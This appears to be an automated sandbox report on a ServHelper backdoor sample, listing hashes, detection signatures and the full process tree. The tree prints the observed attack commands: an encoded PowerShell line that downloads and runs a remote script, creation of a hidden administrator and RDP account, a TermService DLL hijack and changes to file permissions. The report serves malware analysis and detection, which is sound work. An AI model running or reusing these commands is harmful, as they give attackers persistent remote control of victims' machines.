Analysis
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max time kernel
137s -
max time network
122s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
01-02-2022 01:08
Static task
static1
Behavioral task
behavioral1
Sample
45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe
Resource
win10v2004-en-20220112
General
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Target
45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe
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Size
4.8MB
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MD5
21345fbca5a55ebf159df33e413f49fa
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SHA1
a5241a3aeeffca19e3eb645054fd1b35b4aebcfe
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SHA256
45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e
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SHA512
53b39836db28209b4b3719ceab8997ca7584b51931cd5454bcf454aa45f0457f84b9cc1061f27b81124e126abdf4b1d110d143bab01d0b23556f0fe22cadfd39
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1492 powershell.exe 6 1492 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 1832 icacls.exe 988 icacls.exe 328 icacls.exe 1900 icacls.exe 1456 icacls.exe 1932 icacls.exe 1140 icacls.exe 1496 takeown.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x000a0000000130dd-105.dat upx behavioral1/files/0x00090000000131ed-106.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1732 Process not Found 1732 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 988 icacls.exe 328 icacls.exe 1900 icacls.exe 1456 icacls.exe 1932 icacls.exe 1140 icacls.exe 1496 takeown.exe 1832 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\055L9GKXTICIIJRSRZJW.temp powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40e8fbd41017d801 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1544 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1468 powershell.exe 1624 powershell.exe 1376 powershell.exe 1768 powershell.exe 1468 powershell.exe 1468 powershell.exe 1468 powershell.exe 1492 powershell.exe -
Suspicious behavior: LoadsDriver 4 IoCs
pid Process 464 Process not Found 1732 Process not Found 1732 Process not Found 1732 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1468 powershell.exe Token: SeDebugPrivilege 1624 powershell.exe Token: SeDebugPrivilege 1376 powershell.exe Token: SeDebugPrivilege 1768 powershell.exe Token: SeRestorePrivilege 988 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1544 WMIC.exe Token: SeIncreaseQuotaPrivilege 1544 WMIC.exe Token: SeAuditPrivilege 1544 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1544 WMIC.exe Token: SeIncreaseQuotaPrivilege 1544 WMIC.exe Token: SeAuditPrivilege 1544 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2000 WMIC.exe Token: SeIncreaseQuotaPrivilege 2000 WMIC.exe Token: SeAuditPrivilege 2000 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2000 WMIC.exe Token: SeIncreaseQuotaPrivilege 2000 WMIC.exe Token: SeAuditPrivilege 2000 WMIC.exe Token: SeDebugPrivilege 1492 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1660 wrote to memory of 1468 1660 45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe 27 PID 1660 wrote to memory of 1468 1660 45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe 27 PID 1660 wrote to memory of 1468 1660 45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe 27 PID 1468 wrote to memory of 1552 1468 powershell.exe 29 PID 1468 wrote to memory of 1552 1468 powershell.exe 29 PID 1468 wrote to memory of 1552 1468 powershell.exe 29 PID 1552 wrote to memory of 436 1552 csc.exe 30 PID 1552 wrote to memory of 436 1552 csc.exe 30 PID 1552 wrote to memory of 436 1552 csc.exe 30 PID 1468 wrote to memory of 1624 1468 powershell.exe 31 PID 1468 wrote to memory of 1624 1468 powershell.exe 31 PID 1468 wrote to memory of 1624 1468 powershell.exe 31 PID 1468 wrote to memory of 1376 1468 powershell.exe 33 PID 1468 wrote to memory of 1376 1468 powershell.exe 33 PID 1468 wrote to memory of 1376 1468 powershell.exe 33 PID 1468 wrote to memory of 1768 1468 powershell.exe 35 PID 1468 wrote to memory of 1768 1468 powershell.exe 35 PID 1468 wrote to memory of 1768 1468 powershell.exe 35 PID 1468 wrote to memory of 1496 1468 powershell.exe 40 PID 1468 wrote to memory of 1496 1468 powershell.exe 40 PID 1468 wrote to memory of 1496 1468 powershell.exe 40 PID 1468 wrote to memory of 1832 1468 powershell.exe 41 PID 1468 wrote to memory of 1832 1468 powershell.exe 41 PID 1468 wrote to memory of 1832 1468 powershell.exe 41 PID 1468 wrote to memory of 988 1468 powershell.exe 42 PID 1468 wrote to memory of 988 1468 powershell.exe 42 PID 1468 wrote to memory of 988 1468 powershell.exe 42 PID 1468 wrote to memory of 328 1468 powershell.exe 43 PID 1468 wrote to memory of 328 1468 powershell.exe 43 PID 1468 wrote to memory of 328 1468 powershell.exe 43 PID 1468 wrote to memory of 1900 1468 powershell.exe 44 PID 1468 wrote to memory of 1900 1468 powershell.exe 44 PID 1468 wrote to memory of 1900 1468 powershell.exe 44 PID 1468 wrote to memory of 1456 1468 powershell.exe 45 PID 1468 wrote to memory of 1456 1468 powershell.exe 45 PID 1468 wrote to memory of 1456 1468 powershell.exe 45 PID 1468 wrote to memory of 1932 1468 powershell.exe 46 PID 1468 wrote to memory of 1932 1468 powershell.exe 46 PID 1468 wrote to memory of 1932 1468 powershell.exe 46 PID 1468 wrote to memory of 1140 1468 powershell.exe 47 PID 1468 wrote to memory of 1140 1468 powershell.exe 47 PID 1468 wrote to memory of 1140 1468 powershell.exe 47 PID 1468 wrote to memory of 1820 1468 powershell.exe 48 PID 1468 wrote to memory of 1820 1468 powershell.exe 48 PID 1468 wrote to memory of 1820 1468 powershell.exe 48 PID 1468 wrote to memory of 1544 1468 powershell.exe 49 PID 1468 wrote to memory of 1544 1468 powershell.exe 49 PID 1468 wrote to memory of 1544 1468 powershell.exe 49 PID 1468 wrote to memory of 1928 1468 powershell.exe 50 PID 1468 wrote to memory of 1928 1468 powershell.exe 50 PID 1468 wrote to memory of 1928 1468 powershell.exe 50 PID 1468 wrote to memory of 832 1468 powershell.exe 51 PID 1468 wrote to memory of 832 1468 powershell.exe 51 PID 1468 wrote to memory of 832 1468 powershell.exe 51 PID 832 wrote to memory of 2000 832 net.exe 52 PID 832 wrote to memory of 2000 832 net.exe 52 PID 832 wrote to memory of 2000 832 net.exe 52 PID 1468 wrote to memory of 888 1468 powershell.exe 53 PID 1468 wrote to memory of 888 1468 powershell.exe 53 PID 1468 wrote to memory of 888 1468 powershell.exe 53 PID 888 wrote to memory of 2024 888 cmd.exe 54 PID 888 wrote to memory of 2024 888 cmd.exe 54 PID 888 wrote to memory of 2024 888 cmd.exe 54 PID 2024 wrote to memory of 1908 2024 cmd.exe 55
Processes
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C:\Users\Admin\AppData\Local\Temp\45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe"C:\Users\Admin\AppData\Local\Temp\45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ld3enwzz.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1552 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES14D9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC13CF.tmp"4⤵PID:436
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1624
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1376
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1768
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1496
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1832
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:988
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:328
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1900
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1456
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1932
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1140
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1820
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1544
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1928
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2000
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:888 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1908
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1716
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1748
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:892
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C:\Windows\system32\net.exenet start TermService5⤵PID:1048
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1784
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1948
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1552
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:680
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1552
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1496
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc kYju4b6l /add1⤵PID:1832
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc kYju4b6l /add2⤵PID:328
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc kYju4b6l /add3⤵PID:1940
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1636
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1756
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:956
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD1⤵PID:384
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD2⤵PID:1920
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD3⤵PID:832
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:2024
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1640
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1944
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc kYju4b6l1⤵PID:1196
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc kYju4b6l2⤵PID:1900
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc kYju4b6l3⤵PID:1528
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1956
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1544
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1740
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2000
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1968
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1940
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492
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